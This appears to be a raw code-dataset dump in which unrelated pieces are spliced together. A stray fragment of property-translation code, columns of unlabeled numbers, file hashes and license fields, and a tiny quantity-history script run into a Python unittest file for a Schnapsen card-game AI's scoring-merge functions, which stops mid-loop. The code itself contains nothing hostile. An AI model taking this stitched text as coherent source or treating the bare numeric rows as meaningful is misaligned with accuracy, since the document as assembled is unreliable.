tables._CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop def translate_input_property(self, prop): return tables._SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
82.658824
496
0.67068
4,820
35,130
4.775934
0.08029
0.078367
0.041703
0.033015
0.899609
0.891486
0.884101
0.879322
0.873284
0.869765
0
0.005918
0.225648
35,130
424
497
82.853774
0.840312
0.66086
0
0.016529
1
0
0.133563
0.004929
0
0
0
0
0
1
0.033058
false
0.049587
0.049587
0.016529
0.338843
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a556258678571ae4136bd1606c283a4ac44c42ab
141
py
Python
examples/history_update.py
wyjcpu/quantity
a53126a430f12b5bac81a52b2fe749cc497faf36
[ "MIT" ]
null
null
null
examples/history_update.py
wyjcpu/quantity
a53126a430f12b5bac81a52b2fe749cc497faf36
[ "MIT" ]
null
null
null
examples/history_update.py
wyjcpu/quantity
a53126a430f12b5bac81a52b2fe749cc497faf36
[ "MIT" ]
1
2021-05-11T09:33:59.000Z
2021-05-11T09:33:59.000Z
from quantity import history # history.init(dtype='D', export='csv', path='history') history.update(dtype='D', export='csv', path='history')
35.25
55
0.716312
20
141
5.05
0.55
0.277228
0.237624
0.29703
0.514851
0.514851
0
0
0
0
0
0
0.078014
141
4
56
35.25
0.776923
0.375887
0
0
0
0
0.126437
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
a5661b9c6fd7573fa05a511c93d98c15a0824002
31,547
py
Python
src/ai/merge_scoring_infos_func_test.py
cpatrasciuc/schnapsen-card-game
e5131ae91c71d341968d682fd625aff3f97cc516
[ "BSD-3-Clause" ]
null
null
null
src/ai/merge_scoring_infos_func_test.py
cpatrasciuc/schnapsen-card-game
e5131ae91c71d341968d682fd625aff3f97cc516
[ "BSD-3-Clause" ]
18
2021-06-03T01:54:51.000Z
2022-03-30T06:12:08.000Z
src/ai/merge_scoring_infos_func_test.py
cpatrasciuc/schnapsen-card-game
e5131ae91c71d341968d682fd625aff3f97cc516
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2021 Cristian Patrasciuc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import unittest from typing import Dict from ai.merge_scoring_infos_func import ScoringInfo, best_action_frequency, \ average_ucb, count_visits, merge_ucbs_using_simple_average, \ merge_ucbs_using_weighted_average, average_score_with_tiebreakers from ai.merge_scoring_infos_func_with_deps import \ merge_ucbs_using_lower_ci_bound, lower_ci_bound_on_raw_rewards from model.card import Card from model.card_value import CardValue from model.player_action import PlayCardAction, PlayerAction, \ CloseTheTalonAction, AnnounceMarriageAction, ExchangeTrumpCardAction from model.player_id import PlayerId from model.suit import Suit class BestActionFrequencyTest(unittest.TestCase): def test(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=False, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=False, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=False, terminal=False), }, ] actions_and_scores = best_action_frequency(actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 2), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 1), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 1), }, set(actions_and_scores)) class AverageUcbTest(unittest.TestCase): def test(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=False, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=False, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=False, terminal=False), }, ] actions_and_scores = average_ucb(actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 0.7478), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 0.4233), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 0.5417), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 0.3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) class AverageScoreWithTiebreakersTest(unittest.TestCase): def test(self): action_1 = AnnounceMarriageAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.QUEEN)) action_2 = ExchangeTrumpCardAction(PlayerId.ONE) action_3 = CloseTheTalonAction(PlayerId.ONE) action_4 = PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)) actions_and_scores_list = [ { action_1: ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=False, terminal=False), action_2: ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), action_3: ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=False, terminal=False), }, { action_1: ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=False, terminal=False), action_2: ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=False, terminal=False), action_3: ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=False, terminal=False), }, { action_1: ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), action_2: ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=False, terminal=False), action_4: ScoringInfo(q=-3, n=10, score=-3 / 10, fully_simulated=False, terminal=False), }, ] actions_and_scores = average_score_with_tiebreakers(actions_and_scores_list) self.assertEqual({ (action_1, 0.7478), (action_2, 0.4233), (action_3, 0.5417), (action_4, -0.3), }, {(action, round(score[0], 4)) for action, score in actions_and_scores}) self.assertEqual({ (action_1, 0.8611), (action_2, 0.8667), (action_3, 0.5417), (action_4, -0.3), }, {(action, round(score[1], 4)) for action, score in actions_and_scores}) self.assertEqual({ (action_1, 50), (action_2, 100), (action_3, -100), (action_4, -4), }, {(action, score[2]) for action, score in actions_and_scores}) class CountVisitsTest(unittest.TestCase): def test_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=True, terminal=False), }, ] actions_and_scores = count_visits(actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 0.7478), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 0.4233), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 0.5417), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 0.3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) def test_not_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=False, terminal=False), }, ] actions_and_scores = count_visits(actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 41), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 46), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 26), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 10), }, set(actions_and_scores)) class MergeUcbsUsingSimpleAverageTest(unittest.TestCase): def test_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=True, terminal=False), }, ] actions_and_scores = merge_ucbs_using_simple_average( actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 0.7478), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 0.4233), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 0.5417), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 0.3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) def test_not_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=False, terminal=False), }, ] actions_and_scores = merge_ucbs_using_simple_average( actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 0.7293), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 0.8261), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 0.3846), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 0.3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) class MergeUcbsUsingWeightedAverageTest(unittest.TestCase): def test_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=True, terminal=False), }, ] actions_and_scores = merge_ucbs_using_weighted_average( actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 0.7478), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 0.4233), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 0.5417), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 0.3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) def test_not_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=False, terminal=False), }, ] actions_and_scores = merge_ucbs_using_weighted_average( actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 11.6707), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 14.6957), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 5), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) class MergeUcbsUsingLowerCiBoundTest(unittest.TestCase): def test_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=True, terminal=False), }, ] actions_and_scores = merge_ucbs_using_lower_ci_bound( actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 0.7478), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 0.4233), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 0.5417), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 0.3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) def test_not_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=False, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=False, terminal=False), }, ] actions_and_scores = merge_ucbs_using_lower_ci_bound( actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 0.66), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 0.6), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 0.25), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 0.3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) class LowerCiBoundOnRawRewardsTest(unittest.TestCase): def test_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=True, terminal=False), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=True, terminal=False), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=True, terminal=False), }, ] actions_and_scores = lower_ci_bound_on_raw_rewards(actions_and_scores_list) self.assertEqual({ (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)), 0.7478), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)), 0.4233), (PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)), 0.5417), (PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)), 0.3), }, {(action, round(score, 4)) for action, score in actions_and_scores}) def test_not_fully_simulated_trees(self): actions_and_scores_list = [ { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=False, terminal=False, rewards=[1, 1, 1, 1, 1, 0]), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=6, n=6, score=-0.33, fully_simulated=True, terminal=False, rewards=[-0.33, 0.33, 2, 2, 2, 0]), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=6, score=5 / 6, fully_simulated=False, terminal=False, rewards=[1, 1, 1, 1, 1, 0]), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=20, score=15 / 20, fully_simulated=False, terminal=False, rewards=[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0]), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=20, n=20, score=20 / 20, fully_simulated=False, terminal=False, rewards=[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, -1, -1, -1, -1, -1]), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): ScoringInfo(q=5, n=20, score=5 / 20, fully_simulated=False, terminal=False, rewards=[1, 1, 1, 1, 1, 0, -0.33, 0.33, -0.33, 0.33, -0.33, 0.33, -0.33, 0.33, -0.33, 0.33, -0.33, 0.33, -0.33, 0.33]), }, { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): ScoringInfo(q=15, n=15, score=0.66, fully_simulated=True, terminal=False, rewards=[0.66, 0.33, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]), PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): ScoringInfo(q=12, n=20, score=12 / 20, fully_simulated=False, terminal=False, rewards=[1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 2, -1, 0, 0, 0, 0, 0, 0, 0]), PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): ScoringInfo(q=3, n=10, score=3 / 10, fully_simulated=False, terminal=False, rewards=[1, 1, 1, 0, 1, -1, 1, -1, 1, -1]), }, ] for action_with_scores in actions_and_scores_list: for action, score in action_with_scores.items(): self.assertEqual(score.n, len(score.rewards)) self.assertAlmostEqual(score.q, sum(score.rewards), places=1) if score.fully_simulated: self.assertIn(score.score, score.rewards) else: self.assertEqual(score.score, sum(score.rewards) / len(score.rewards)) actions_and_scores = lower_ci_bound_on_raw_rewards(actions_and_scores_list) expected_scores: Dict[PlayerAction, float] = { PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.ACE)): 0.62, PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.TEN)): 0.35, PlayCardAction(PlayerId.ONE, Card(Suit.SPADES, CardValue.KING)): 0.16, PlayCardAction(PlayerId.ONE, Card(Suit.CLUBS, CardValue.KING)): -0.3, } for action, score in actions_and_scores: 